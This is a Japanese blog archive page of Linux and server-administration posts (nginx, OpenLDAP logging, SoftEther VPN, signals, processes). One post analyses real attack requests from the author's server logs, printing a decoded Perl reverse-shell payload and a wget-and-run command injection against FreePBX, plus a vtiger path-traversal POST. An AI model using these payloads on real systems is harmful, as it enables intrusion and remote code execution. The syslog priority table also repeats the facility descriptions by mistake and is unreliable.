ラベル Linux の投稿を表示しています。 すべての投稿を表示
ラベル Linux の投稿を表示しています。 すべての投稿を表示

2014年5月20日火曜日

Padrinoで全コントローラ共通の処理を書く

SinatraベースのフレームワークPadrinoはMVC構造を用意してくれるので処理を分かりやすく書くことができます。コントローラは自動的に雛形が用意されるので、各コントローラに関する処理はその雛形を編集すればよく、編集すべきファイルが分かりやすいです。

では、例えばログインを必要とするシステムにおけるページ表示前の認証の確認処理など、全コントローラに共通の処理はどこにどのように書けばよいでしょうか。

Padrinoのプロジェクトルートから見て、app/app.rbに書けばよいと思います。この中のAppクラスの宣言文の中に、before〜endを使って書けば全コントローラの処理前に実行される処理が書けます。

例えば上で挙げたログイン判断の場合ですと、

before do
  if /^\/login/ =~ request.path_info
    # ログインコントローラの場合、ログイン済みならトップ画面へリダイレクト
    redirect url_for(:top, :index) if logged_in?
  else
    # ログインコントローラ以外の場合、未ログインならログイン画面へリダイレクト
    redirect url_for(:login, :index) unless logged_in?
  end
end

のような感じで書けますね。上記のようにURLによって処理を分けて書くこともできます。また、ヘルパーメソッドも使えます。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月22日火曜日

bash か sh か、それが問題だ

Linuxのサービス制御シェルスクリプトを書いていて思ったことなんですけどね。そのプロジェクトの先人たちが書いたコードを拝見すると、一行目のシェバング行に sh と bash が混じっていたんですよ。つまり、「#!/bin/sh」と「#!/bin/bash」の両方のパターンがあったわけです。まあDebian系なので、shは正確にはashなんですがね。

それで、どういうふうに使い分けるんだろうか、と気になったわけです。shとbashではbashが拡張した独自文法がある、ということは知ってましたが、じゃあ具体的にはなんなのかと。色々調べてみたり、bashのmanページを見たりしましたが、違いをまとめたものがなかなか見つかりません。

だったら、機能が多いbashに統一すればいいのか、というとそうでもありません。bashのmanページの最後、バグの項は次の一文で始まります。

「bash は大きすぎるし、遅すぎます。」

おいおい(笑)公式でそう言っちゃうんかい。しかもmanページのバグの項目で。まあともかく、重いってことですね。まあ、起動スクリプトは軽いに越したことはありませんから、むやみやたらにbashに統一というのはあまり良くはないでしょう。

でまあ、どうしたかというと、どうしても sh では実現できない、あるいはbashを使わないと著しく大変な時だけbashを使い、それ以外の時はshで済ますことにしました。

ちなみに今までに書いたスクリプトの中にもシェバング行が「#!/bin/bash」のやつもあったので、そいつらは「#!/bin/sh」に書き換えてしまって不具合が出ない限りはそれでいく方針に。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月14日月曜日

最近来たサーバへの攻撃(不正アクセス)を晒してみる

個人用に自分でWebサーバを運用しているんですが、ちょっとログを見てみたら、悪意のあるアクセスらしきログが残っていたのでちょっと晒してみようと思います。なお、攻撃元のIPアドレスは全て"*.*.*.*"に置き換えて伏せてあります。

パターン1


Apacheのログ例はこちら。

*.*.*.* - - [13/Apr/2014:19:27:33 +0900] "GET /recordings/misc/callme_page.php?action=c&callmenum=888%40ext-featurecodes%2Fn%0D%0AApplication%3A%20system%0D%0AData%3A%20perl%20-MIO%20-e%20%27%24p%3Dfork%3Bexit%2Cif(%24p)%3B%20%24c%3Dnew%20IO%3A%3ASocket%3A%3AINET(PeerAddr%2C%22*.*.*.*%3A3333%22)%3B%20STDIN-%3Efdopen(%24c%2Cr)%3B%20%24~-%3Efdopen(%24c%2Cw)%3B%20%24c-%3Ewrite(%22%5DQAfH%23.Eq%5Cncmp%5Cn%22)%3B%20system%24_%20while%3C%3E%3B%27%0D%0A%0D%0A HTTP/1.1" 404 292

このままだとわかりにくいんでURLエンコードされているのをデコードして、URLだけにしてみるとこうなります。

/recordings/misc/callme_page.php?action=c&callmenum=888@ext-featurecodes/n
Application: system
Data: perl -MIO -e '$p=fork;exit,if($p); $c=new IO::Socket::INET(PeerAddr,"*.*.*.*:3333"); STDIN->fdopen($c,r); $~->fdopen($c,w); $c->write("]QAfH#.Eq\ncmp\n"); system$_ while<>;'

上記URLは"Data:"の後ろ側が実行されることを期待しているように見えます。perlを利用して攻撃元サーバに接続し、不正コードをダウンロードして実行させるコードな気がしますね。調べてみると、FreePBXの脆弱性として2012年に指摘されています。
http://jvndb.jvn.jp/ja/contents/2012/JVNDB-2012-004164.html


パターン2


Apacheのログ例はこちら。

*.*.*.* - - [13/Apr/2014:19:27:37 +0900] "GET /admin/config.php?display=auth&handler=api&function=system&args=cd%20/tmp;rm%20-f%20e;wget%20http://*.*.*.*:3003/e;perl%20e;rm%20-f%20e HTTP/1.1" 404 277

こちらもURLデコードしてみましょう。

/admin/config.php?display=auth&handler=api&function=system&args=cd /tmp;rm -f e;wget http://*.*.*.*:3003/e;perl e;rm -f e

これもパターン1と同様にアクセス元のサーバからperlスクリプトダウンロードして実行させようとするコードに見えますが、より直接的にOSコマンドインジェクションでやっていますね。ご丁寧に/tmpにダウンロードしたコードを消す命令も最後に入っています。


パターン3


*.*.*.* - - [13/Apr/2014:19:27:39 +0900] "POST /vtigercrm/graph.php?module=..%2Fmodules%2FSettings&action=savewordtemplate HTTP/1.1" 404 280

また例によってURLデコードします。

/vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate

これは上記2つとは毛色が違いますね。よく見るとアクセスのメソッドもGETではなくPOSTです。何か悪意のあるデータを送りつけて保存させようとしているように見えます。
URLに含まれるvtigercrmというのはオープンソースの顧客管理ソフトウェアですね。調べてみると、URLで呼び出していそうなソースがGitHubに見つかります。
https://github.com/vtiger-crm/vtigercrm/blob/master/modules/Settings/savewordtemplate.php

これはMicrosoft Wordのテンプレートを保存するスクリプトですね。つまりマクロウイルスを含んだテンプレートをPOSTで送りつけているのでしょう。次に管理者がそのファイルをダウンロードして開いた時に発動することを狙っているものと見られます。

とりあえずこんな感じですかね。公開されているサーバで不正アクセスのないサーバなんぞ無いと思いますけれども、たまにこうしてログを見て攻撃の傾向を見ておくと、セキュリティ意識と知識が上がってよいと思います。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月7日月曜日

シェルスクリプトでnginx master processのpidを取得する

シェルスクリプトからnginxの起動・終了を制御したいことがあって、master process のPIDを取得するにはどうしたらいいのか調べた経緯を少々書いてみます。

nginx は master process というプロセスの小プロセスとして worker process を複数持ち、実際の処理はworker processが担当し、全体の起動・終了などのworker process の管理はmaster processが担当しています。
(参考→http://d.hatena.ne.jp/kiwanami/20111205/1323105070)

ということで、シェルスクリプトから終了させる場合には、master processにシグナルを送るのが正しい作法でしょう。pkillでnginx全体にシグナル送ってもいいかもしれませんが、せっかくmaster processがあるのに少々乱暴っぽいですし。

普通に起動・終了を制御するのであればngixの設定でpidfileを作成していると思うのでpidfileに記録されてるpidを見ればmaster processのpidを特定できますけれども、pidfileが何らかの理由で消えたか見つからないか読み取れない場合の処理を書いておきたいと思ったので、pidfile以外でmaster processのpidを見つける方法をとります。

ということで、以下のコマンドで取得できます。

ps ax opid,ppid,cmd | grep nginx | awk '$2 == "1" { print $1 }'

ps の a オプションは端末のある全てのプロセスの表示、xオプションは端末のないプロセスの表示なので、"ps ax"で全てのプロセスを表示します。opid,ppid,cmdはそれそれ、自身のpid、親プロセスのpid、コマンド名を出力するという意味です。その中からgrep で "nginx" を含む行だけを抽出します。ここまでの途中で出力してみるとこんな感じですね。

[root@host]# ps ax opid,ppid,cmd | grep nginx
 5057 19498 grep nginx
 6812     1 nginx: master process /usr/sbin/nginx
 6813  6812 nginx: worker process
 6814  6812 nginx: worker process
 6815  6812 nginx: worker process
 6816  6812 nginx: worker process

デーモンとして動くプロセスは、親プロセスのpidは1(init)になります。nginxでは、worker process は master processを親に持つため、pidが1なのはmaster processのみです。あと grep コマンド自身も実行中のシェルを親に持つため、pidが1のものを抜き出せば、それがmaster processになります。

とうことで、2列目に出力された親プロセスが1の行について、1列目のpidの値を出力するようawkで指定すればOKです。

[root@host]# ps ax opid,ppid,cmd | grep nginx | awk '$2 == "1" { print $1 }'
6812

参考になれば幸いです。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年2月28日金曜日

VMWare上のDebianでHDD外してGRUBメニュー修正

VMWare Fusionで仮想マシンにDebian入れて使ってるんだけれども、少し前から/usr/local以下のファイルが消えたり復活したりして気持ち悪い挙動をしていた。再起動のタイミングで起きてるようで、どうもブート時にマウントするハードディスクが勝手に変わっているようだ。

とりあえず、起動時にブートローダであるGRUBのメニューを見てみると選択できるメニューのうちHDD選択に係る記述が root (hd0,msdos1) と root (/dev/sdb,msdos1) の2通りあり、それぞれ選択してみると、案の定/usr/local以下(というかファイルシステム)の内容が変化するのが確認できた。root (/dev/sdb,msdos1) の方がデフォルトになっていた。

原因を調べているうち、hd0で指定されるHDD(これは/dev/sdaでもある)と/dev/sdbのUUIDが同じであることを見つけた。そもそも、この/dev/sdbはバックアップ用に仮想マシンに追加したもので、以前に、dd使ってバックアップした時、UUIDが記録されたセクタもコピーしてしまったことが原因と思われる。で、/etc/fstabでルート( / )にマウントするディスクがUUIDで指定されているので、どちらのHDDか不定だったと推測される。

一時的なバックアップ用途にHDD追加してただけなので、今後の混乱を避けるためHDD自体を削除することにした。まず、 root (hd0,msdos1) の方のメニューで起動して

[root@localhost]# grub-mkconfig -o /boot/grub/grub.cfg

を実行。デフォルトメニューのほうに含まれる記述が root (/dev/sdb,msdos1) から root (hd0,msdos1) に変化したのを確認。

一旦電源をOFFにし、VMWare Fusion の設定から /dev/sdb に相当するHDDを削除。

再び起動。ログインして再度先ほどと同じコマンドでgrub.cfgを生成する。

[root@localhost]# grub-mkconfig -o /boot/grub/grub.cfg

を実行。grub.cfg の中身を覗くと、root (/dev/sdb,msdos1)の方のメニューは消えていた。もう一度再起動し、ブートローダのメニューが変更されてメニューが減ったのを確認。これでもう大丈夫なはず。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年2月22日土曜日

Linuxでデーモン自動起動の順番はどう決まるのか

Linuxではシステムの起動時に自動的に起動するデーモンを登録する仕組みが用意されている。自動起動するデーモンの登録及び解除は、
  • Redhat系では chkconfig
  • Debian系では update-rc.d, sysv-rc-conf など
で行うことが可能だ。

で、上記コマンドの使い方は省略するが、どちらも行っていることは共通している。まず、デーモンの起動・終了などを制御するスクリプトは

/etc/init.d/{デーモン名}

という名前で用意されている。例えばSSHデーモンは /etc/init.d/ssh だ。これらのスクリプトには引数で start, stop, restart, status などを与えることができ、起動・終了・再起動・状態の取得などを行うことができる。

で、自動起動するデーモンについては、

/etc/rc{ランレベル番号}.d

にデーモン制御スクリプトへのシンボリックリンクを作成する。すると、システムの起動時に実行される /etc/init.c/rc スクリプトに参照され、実行される。例えばランレベル5でシステム起動時に自動起動されるスクリプトへのシンボリックリンクは、/etc/rc5.d 内に存在する。

その際の起動順序はシンボリックリンクの名前で決まる。具体的には

S{起動番号}{デーモン名}

である。この起動番号の小さい方から大きい方に向かって起動していく。例えば Apache2デーモンは S17apache2 、SSHデーモンは S18ssh という名前なので、Apache2 は SSH より先に起動することが分かる。

と、ここまでは前から知ってたんだけれども、じゃあ、この起動順序の番号はどこで決まってるのかについては特に調べもせず知らなかった。でもちょっと必要になったので調べてみた。どうやらRedhat系とDebian系で違うようだ。

Redhat系では、起動スクリプトである /etc/init.d/{デーモン名} の「コメント文」に特定の書式で書いてあり、chkconfig はそのコメントを見に行く。コメントの書式は

# chkconfig: - {起動番号} {終了番号}

となっていて、この起動番号が chkconfig を実行した際にシンボリックリンクの名前に使われる。

一方Debian系では、update-rc.d の場合、作成するシンボリックリンクの起動番号は自動的に決定されるらしい。ちょっと調べただけでは分からなかった。(知っている人いたらぜひコメントください。)

Debian系では別のコマンド sysv-rc-conf もあり(使うには sysv-rc-conf パッケージをインストールする必要がある)、こちらは

/var/lib/sysv-rc-conf/services

に記述された起動順序にそってシンボリックリンクを作成する。こちらの sysv-rc-conf は chkconfig にコマンドの書式が似ていることもあり、使いやすいと思う。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年2月2日日曜日

SoftEther VPNでLinux上にVPNサーバ立てて遠隔地と手元のMacで画面共有

Mac OS X にはデフォルトで画面共有の機能がついていて、これがなかなかに使いやすくていい。この画面共有は同じネットワーク内にある Mac にはアカウント名とパスワードさえ分かれば接続することができる。

一方、遠隔地にある Mac に対しては同一の Apple ID を設定して「どこでも My Mac」機能を利用すれば接続はできるけれども、ちょっと事情があって同一の Apple ID を設定していない Mac にも画面共有で接続したかった。

で、以前は LogMeIn の Free 版を使っていたんだけど、なんと有料化されるとのこと。(参照: リモートアクセス「LogMeIn」無料版が突如終了、完全有料制に - ITmedia ニュース)うーむ、これは困った。

実はこの件とは別に自分用にパブリッククラウドサービスを契約してて、仮想サーバを立てて CentOS を入れて運用している。そこにはグローバルIPも割り当ててある。じゃあそれを VPN サーバにしてしまおうと思いついた。それなら新たに費用が発生することもないし。

てことでフリーの VPN サーバを探したら、SoftEther VPN ってのがあるそうで。OpenVPN よりも速いという謳い文句つきだ。これをインストールして使ってみることにした。

SoftEther VPN  Server のダウンロード

SoftEther VPN  のダウンロードページから VPS サーバをダウンロード。コンポーネントは「SoftEther VPN  Server」を選ぶ。

SoftEther VPN  Server のインストール

インストール方法は公式ドキュメントの「7.3 Linux へのインストールと初期設定 - SoftEther VPN プロジェクト」に従えば OK 。

管理者パスワードの設定

管理者パスワードを設定します。サーバ付属の vpncmd で「ServerPasswordSet」コマンドを実行する。マニュアル通りにインストールしたのなら vpncmd のパスは  /usr/local/vpnserver/vpncmd になる。

仮想ハブの作成

仮想ハブを作成するか、最初に「DEFAULT」という名前の仮想ハブができているので、それも使える。今回は「DEFAULT」を使うことにするので、新たに作成はしない。

ユーザの作成

仮想ハブにユーザを作成する。vpncmd で「Hub DEFAULT」コマンドを実行して「DEFAULT」仮想ハブを管理対象とした後「UserCreate」コマンドを実行する。

IPSec 機能の有効化

L2TP over IPsec を使えるようにする。vpncmd で「IPSecEnable」コマンドを実行する。有効にするのは L2TP over IPsec だけでいい(暗号化なしの L2TP と EtherIP / L2TPv3 over IPSec はいらない)。

SecureNAT 機能の有効化

SecureNAT 機能は、簡易 DHCP サーバ機能と仮想 NAT 機能の2つからなる機能。vpncmd で「SecureNatEnable」コマンドを実行する。なお、このコマンド実行後に簡易 DHCP サーバ機能と仮想 NAT 機能は両方とも自動的に有効化される。

簡易 DHCP サーバ機能の設定

SecureNAT 機能のうち、簡易 DHCP サーバ機能を使うので設定を確認する。今回はデフォルトのまま使うので設定変更しないけれど、確認はしておく。vpncmd で「DhcpGet」コマンドを実行する。デフォルトでは 192.168.30.10〜192.168.30.200 の範囲のIPアドレスが配布される設定なっている。

仮想 NAT 機能の無効化

今回は仮想 NAT 機能は使わないので無効化しておく。vpncmd で「NatDisable」コマンドを実行する。

VPN サーバのファイアウォールで必要なポートを開ける

Mac 側からは L2TP over IPSec で接続するので、UDP 500 番と UDP 4500 番のポートの通信が VPN サーバのファイアウォールを通過できるようにしておく。

Mac の VPN 接続設定及び接続実行

ここまでできたら、Mac から VPN に接続できる。この操作は接続元である手元の Mac と接続したい遠隔地の Mac の両方で行う必要がある。もちろん遠隔地の Mac は VPN に接続したままの状態にしておく。公式ドキュメントの「Mac OS X からの接続方法 - SoftEther VPN プロジェクト」に従えば OK 。
なお公式ドキュメントでは「すべてのトラフィックを VPN 接続経由で送信」オプションにチェックを入れるよう書いてあるが、VPN 経由でインターネットに出る経路がない場合はこれにチェックを入れるとインターネットにつながらなくなる。画面共有が用途の場合は画面共有したいマシンとしか VPN 経由で通信しないのでチェックを入れなくてもいいだろう。
ちなみに遠隔地の Mac で VPN 接続が切れたら自動的に再接続させる方法はこちら。

DHCP テーブルを確認

ここからは、遠隔地の Mac へ手元の Mac から接続する時の手順になる。あらかじめ両方の Mac が VPN に接続されていること。まず VPN サーバにログインして DHCP テーブルを確認する。vpncmd で「DhcpTable」コマンドを実行する。割り当てられた IP アドレスとクライアントホスト名の対応が分かるので、接続したい遠隔地の Mac に割り当てられた IP を把握しておく。

画面共有を実行

接続元の Mac で Finder を起動して、メニューからの「移動>サーバへ接続...」を選択する。「サーバへ接続」ダイアログが表示されたら「サーバアドレス」欄に「vnc://(遠隔地の Mac の IP アドレス)」を入力して「接続」ボタンをクリック。

これで接続できるはず!僕の環境では、LogMeIn を使っていた時よりもはるかに快適に画面をリモートから操作できた。予想以上に反応速度が改善されてびっくり。スクロールとかもスムーズにできるし。

「グローバル IP の付与された Linux サーバを持っいてなおかつ root  権限を使える」という条件があるけれども、もし当てはまる方はぜ SoftEther VPN による VPN サーバ構築をぜひ試してみては。

※2014/02/03 VPNサーバのファイアウォールのポート開けについて追記。
※2014/02/05 VPNサーバの IPSec 機能有効化について追記。
※2014/02/07 MacのVPN接続設定部分に追記。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年1月31日金曜日

slapadd のログを syslogd でとる設定 ※slapd でも none を忘れずに

昨日に引き続き OpenLDAP ネタ。slapadd を実行するシェルスクリプトを書いていて、ログ出力がどうもうまくいかないので調べていた。

slapadd の man ページを参照すると -o オプションで syslogd に関する設定を色々指定できるみたいだ。該当部分はこんな記述になっている。

-o option[=value]
     Specify an option  with  a(n  optional)  value.   Possible  generic
     options/values are:

        syslog=<subsystems>  (see `-s' in slapd(8))
        syslog-level=<level> (see `-S' in slapd(8))
        syslog-user=<user>   (see `-l' in slapd(8))

        schema-check={yes|no}
        value-check={yes|no}

     The schema-check option toggles schema checking (default on);
     the value-check option toggles value checking (default off).
     The latter is incompatible with -q.
 

今回 syslogd 側 では daemon ファシリティでプライオリティが info 以上のログを出力するよう設定していたので、まずは

slapadd -o "syslog-level=INFO" -o "syslog-user=DAEMON" ・・・(以下略)
 

みたいな感じにやってみたけどログが出ない。いろいろ試行錯誤する中で、試しにそれまで付けていた -F オプションを外してみるとエラーがログに出た。どうやら -F オプションを指定するとデフォルトの slapd から出すログレベルの設定が消えて、何も syslog に出なくなるようだ。
そこで -o "syslog=<subsystems>" で改めて指定する。<subsystems> に指定できるログレベルについては昨日の記事を参照。

slapadd -o "syslog=stats,stats2,shell,parse,sync,none" -o "syslog-level=INFO" -o "syslog-user=DAEMON" ・・・(以下略)
 

これでログ出力できた。

なお、ログレベルについて一点気をつけたほうがいいことがある。それは none だ。各種サイトで調べてみても none ってなんか一見不要そうな雰囲気だから最初は付けてなかった。けれど、これは指定しておくことを強くおすすめする。

たとえば、slapd をシェルからコマンドラインで打つとシェルには出るエラーメッセージが syslogd に記録されないんでおかしいと思ってたら、none を含めたら記録されるようになった。読んで意味がわかるメッセージがログに記録されるのは重要。こんな有用なログをなぜ none って名前のログレベルにしたんだよ・・・。

ちなみに余談だけれど、上に引用した slapadd の man ページの -o オプションの部分には、syslogd へ出力するログのプライオリティを変更するための slapd の -S オプションについて言及があるのに、slapd の man ページの方には -S オプションについての説明がない(笑)。それでも -S オプションは slapd の方でもきちんと機能する。単に man ページヘの書き忘れかもしれないから、syslogd への出力プライオリティを変更するオプションとして覚えておくと便利だろう。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年1月30日木曜日

slapd の syslogd 向けログ出力とデバッグレベル

OpenLDAPでLDAPサーバを構築している途中で、slapdがうまく起動しないことがあった。その際、slapdがログを吐かないことに気づいた。

そもそも、OpenLDAPの場合、デフォルト設定のままではログが出力されない設定になっているらしい。変更すべき設定は syslogd のファシリティとデバッグレベル。

・syslogd のファシリティ
ファシリティとは、ログの分類のこと。syslogd で出力されるログには、アプリケーションが指定したファシリティとプライオリティが付いている。
ファシリティには次のようなものがある。

ファシリティ 対象のログ
auth(security) 認証サービスのメッセージ(現在はauthprivが推奨されている)
authpriv 認証サービス(カテゴリはauthと同じ。authとは出力結果が異なる)
cron cronのメッセージ
daemon デーモンのメッセージ
kern カーネルのメッセージ
lpr プリンタサービスのメッセージ
mail メールサービスのメッセージ
news ニュースサービスのメッセージ
syslog syslogのメッセージ
user ユーザープロセスのメッセージ
uucp uucp転送を行うプログラムのメッセージ
local0~7 アプリケーションに依存する

プライオリティは、ログの重要度を表す。次のようなものがある。

プライオリティ 説明
emerg 認証サービスのメッセージ(現在はauthprivが推奨されている)
alert 認証サービス(カテゴリはauthと同じ。authとは出力結果が異なる)
crit cronのメッセージ
err デーモンのメッセージ
warning カーネルのメッセージ
notice プリンタサービスのメッセージ
info メールサービスのメッセージ
debug ニュースサービスのメッセージ

どのファシリティのどのプライオリティのログを出力するかについては、/etc/syslog.conf ファイルに設定する。なお最近の Linux では syslogd ではなくその改良版である rsyslog が使われているかもしれないので、その場合 /etc/rsyslog.conf が設定ファイルになる。

設定は

ファシリティ.プライオリティ    ログ出力先

のように書く。例えばメールに関する全てのログを /var/log/maillog に出力する設定は

mail.*    /var/log/maillog

という感じになる。

で、話をOpenLDAPに戻すと、実はOpenLDAPのデフォルトのファシリティは local4 になっている。この local4 に対するログ出力設定がデフォルトでは存在しないため、デフォルト設定のままではログが出力されないのだ。

これに対処するには、syslogd側の設定を変更するlogd側の設定を変更する場合、ファシリティlocal4 に対する設定を追加すればいい。次のような感じになる。

local4.*    /var/log/ldap.log 

これを /etc/syslog.conf (または /etc/rsyslog.conf)に追加し、syslogデーモンを再起動すればよい。

なお、slapd側がsyslogdへログを出力する際のファシリティを変更することもできる。これは slapd 起動時の -l オプションで指定できる。LOCAL0〜LOCAL7, USER, DAEMON が指定可能。

もう一つ注意すべき点は、slapd が syslog へ出力する際のプライオリティは DEBUG になる点だ。このプライオリティを変更する方法は色々調べたが見つからなかった。(僕の環境では -S INFO を指定することでプライオリティを INFO に変更できたが、誰か正式な方法知ってたら教えてください。)

slapd が出力するログのレベルは、Configuration Backend を使っている場合 cn=config エントリの olcLogLevel に格納する。ログレベルは、次のようなものがある。

ログレベル
(10進数)
ログレベル
(16進数)
ログレベル
(文字列)
ログ出力内容
-1 - any すべてのログを出力
0 - - まったくログを出力しない
1 0x1 trace 内部の関数呼び出し
2 0x2 packets パケット操作
4 0x4 args 処理の詳細なトレース
8 0x8 cons コネクション管理
16 0x10 BER パケット送受信
32 0x20 filter 検索フィルタ処理
64 0x40 config 設定ファイルの処理
128 0x80 ACL アクセス制御リストの処理
256 0x100 stats ステータスログ(デフォルト)
512 0x200 stats2 ステータスログ2
1024 0x400 shell シェルバックエンドとの通信
2048 0x800 parse エントリの解析
16384 0x4000 sync syncrepl コンシューマ処理
32768 0x8000 none 設定に依存しない最低限の出力のみ

出力したいログレベルの数値の合計、またはログレベルの文字列をカンマ区切りで列挙する。デフォルトは 256 (stats) 。設定例としては

dn: cn=config
objectClass: olcGlobal
cn: config
olcLogLevel: trace,ACL

こんな感じ。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

参考ページ:
OpenLDAP ソフトウェア 2.3 管理者ガイド: slapd の実行
OpenLDAPによるディレクトリサーバ運用(3):ものいわぬOpenLDAPサーバのログ管理 (1/3) - @IT
Linux管理者への道(3):システム管理の基礎 syslogdの設定をマスターしよう (1/3) - @IT

2014年1月29日水曜日

UNIX/Linux系OSにおけるシグナル

昨日プロセスとシェルについて調べていく途中で、プロセス間で情報をやりとりする仕組みの一種のシグナルとはそもそも何なのかが気になって調べてみたのでまとめてみる。

↓こちらのサイトが素晴らしい解説なので一読をお勧めする。
http://www.nurs.or.jp/~sug/soft/super/signal.htm
下の文章はほぼ上記サイトの要約みたいなもんです。

・ハードウェア割り込み
キーボードからの入力など、予期せぬタイミングで処理をしなければならないイベントに対応するため、CPUには「ハードウェア割り込み」の機能がある。これはCPUのINTRピンがOFFになった時に、現在の処理を一時中断して別の処理へと飛び、完了後に元に戻ってくる機能である。ハードウェア割り込みがあるおかげで、プログラムは例えば一定間隔でキーボードの入力があったかチェックするようなことをせずに済む。

・ハードウェア割り込みとシグナル
このハードウェア割り込みの仕組みと同様の仕組みをOSにおいて実現したのがシグナルである。シグナルには対応する処理(シグナルハンドラ)を決めておくことができ、シグナルを受け取るとその処理が呼び出される。なお、UNIX系OSでは全てのシグナルにデフォルト処理が定めれらている。デフォルト処理を再定義して任意の処理に変更できる。

・シグナルのリエントラント問題とPOSIXシグナルの動作
システムコールで何かを待機中にシグナルを受け取ったり、シグナルハンドラの処理中に再度同じシグナルを受け取ることが考えられる。これらのパターンは予期しない結果を生む可能性がある。これをシグナルのリエントラント(再入)問題と呼ぶ。

そのためPOSIXの定めたシグナルの動作では、シグナルハンドラの処理中に別のシグナルを受け取ると、新しく受け取ったシグナルを保留状態にし、前のシグナルハンドラの処理が終わった段階で新しい方のシグナルを処理するようになっている。また、システムコールを実行中にシグナルを受け取った場合はデフォルトではシステムコールはエラーで終了するが、シグナルハンドラの処理完了後にシステムコールを継続するようにすることもできる。

・Linuxにおけるシグナルの一部とデフォルトの動作及び送信方法の例
SIGINT:プロセスの終了。シェルでCtrl+Cが押されると送信。
SIGTSTP:プロセスを一旦停止。シェルでCtrl+Zが押されると送信。
SIGCONT:プロセスを再開。シェルで「fg」や「bg」と叩いた時送信。
SIGQUIT:プロセスを終了してコアダンプ。シェルでCtrl+\が押されると送信。
SIGTERM:プロセスの終了。子プロセスがある場合、そのプロセスが子プロセスも終了させる。killコマンド実行時にデフォルトで送信。
SIGHUP:プロセスの終了(デーモンの場合再起動)。ログインシェルからログアウト時に送信。
SIGKILL:プロセスの強制終了。killコマンドで明示的に指定すれば送信できる。
上記の他にも多数ある。下の参考URLを参照。

こんなもんかな。シグナルについてまとめてみたけれど、よく考えられてると思う。シェルからの操作とか、killコマンドとか、なんとなくの理解のまま使ってたのでスッキリした。

2014年1月28日火曜日

シェルとプロセスとプログラムの呼び出し

結構長いことLinuxを使っている自分だけれども、アプリ開発の仕事をずっとやってきたために、OSの機能については疎いところがあったりする。

先日、プログラミング言語から別のプログラムを呼ぶときに「シェル経由で呼び出す」方法と「シェルを経由せずに呼び出す」方法がある、という話を聞いた時によくわからなかったので、調べてみた。

・プロセスの概念
まず、プロセスの概念について。言葉だけは何となく使っちゃてるけど。プロセスとは、プログラムを実行するときにメモリ上にロードしてIDを割り当てたもの。たとえ同じプログラムでも、別々のメモリ領域を与えてアドレス空間を分離することによって、互いに干渉せず同時に実行することが可能になる。

・プロセスの複製と親子関係
UNIX系OSにはfork()システムコールがあり、これはプロセスを環境変数や実行位置なども含め現在の状態をまるごとコピーしてIDを付け替えたプロセスを生成する。fork()を呼び出した側が親プロセスで、fork()によって生成されたプロセスが子プロセスとなる。fork()の戻り値として親プロセス側には子プロセスのプロセスIDが渡され、子プロセス側には0が渡されるので自分が親か子かを判別できる。

・子プロセスの置き換え
あるプログラムから別のプログラムを呼び出す場合、まずfork()システムコールで子プロセスを生成し、子プロセス側でexec()システムコールを呼び出す。exec()システムコールは、自分自身を別のプログラムに置き換える(一旦メモリ上のアドレス空間を破棄して作りなおす)。プロセスIDは維持されるので、親子関係は保たれる。

・プロセスの終了
プロセス内でexit()システムコールを呼び出すと、そのプロセスは終了するが、メモリ上に管理情報は残っている。親プロセスからwait()システムコールを呼ぶことによって親は子プロセスの終了ステータスを取得した上で子プロセスの管理情報を削除する。親プロセスがwait()を呼ぶタイミングは、子プロセスを生成してすぐか、あるいは子プロセスから終了シグナルを受け取った時点になる。

・プロセスツリー
UNIX系OSでは、プログラムの実行は fork() → exec() を利用して、次々と子プロセスを生成していくことで行われる。一番最初のプロセスは、カーネル自身が init というプロセスを生成し、全てのプロセスの親となる。init を頂点に全てのプロセスがツリー状に親子関係でつながっている。ちなみに、子プロセスの終了前に親プロセスでが終了した場合、子プロセスの親は自動的に init になる。この場合の子プロセス終了時にwait()を呼ぶ処理は init が担当することになる。

・シェルはプログラム実行時に何をしているのか?
シェルは、ユーザからプログラム実行のコマンドを受け付けると、自分自身をfork()によって複製し、子プロセス側でexec()を呼び出して指定されたプログラムを実行する。あとは、wait() を呼んで子プロセスの終了を待つ(フォアグラウンドジョブ)。あるいは、wait()をすぐには呼ばず、にユーザからのコマンド受付状態に戻るようにも指定できる(バックグラウンドジョブ)。この場合終了した子プロセスに対して wait() を呼ぶのはシェルが適宜行ってくれると思う(詳しい方いたら教えてください)。

・シェルを経由するかしないかの違いとは
要するに fork() → exec() (+ wait()の待機) の一連の流れができれば、あるプログラムから別のプログラムを呼び出すことができる。この処理をシェルに任せるのが「シェル経由で呼び出す」方法であり、独自に行うのが「シェルを経由せずに呼び出す」方法だということ。

だいたいこんなもんかな。上に書いていない知識も色々整理できたが(親プロセスが異常終了した場合の子プロセス=ゾンビプロセスについてとか)、その辺は下の参考URLを参照。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

※参考URL
http://fumiyas.github.io/2013/12/21/dont-use-shell.sh-advent-calendar.html
http://itpro.nikkeibp.co.jp/article/COLUMN/20080502/300565/?ST=oss&P=1
http://www.gadgety.net/shin/tips/unix/ipc/fork.html
http://www.fireproject.jp/feature/c-language/process/fork-wait.html

2014年1月23日木曜日

シェルスクリプトで trap にシグナル 0 を指定する意味

slapdの起動スクリプト(/etc/init.d/slapd)をカスタマイズしている時に、
trap コマンドにシグナル 0 を指定している記述を見つけた。
該当箇所はこんな感じになっている。

start_ldap() {
  trap 'report_failure' 0
  log_daemon_msg "Starting OpenLDAP" "slapd"
  start_slapd
  trap "-" 0
  log_end_msg 0
}

trapの意味は第1引数に実行するコマンド、第2引数以降は捕捉するシグナルだけれども、POSIXの定義には0という値のシグナルはない。では0を指定している意味はなんだろう?
と思って更に調べると見つかった。
http://shellscript.sunone.me/signal_and_trap.html

どうやら、シェルスクリプトが終了するときのEXITシグナルを補足することで、シェルスクリプト終了時に必ず実行される処理を指定できるということらしい。そして trap の第2引数に 0 と書くと EXIT と書いたのと同じ意味になるということだ。

上記リンク先の解説によると
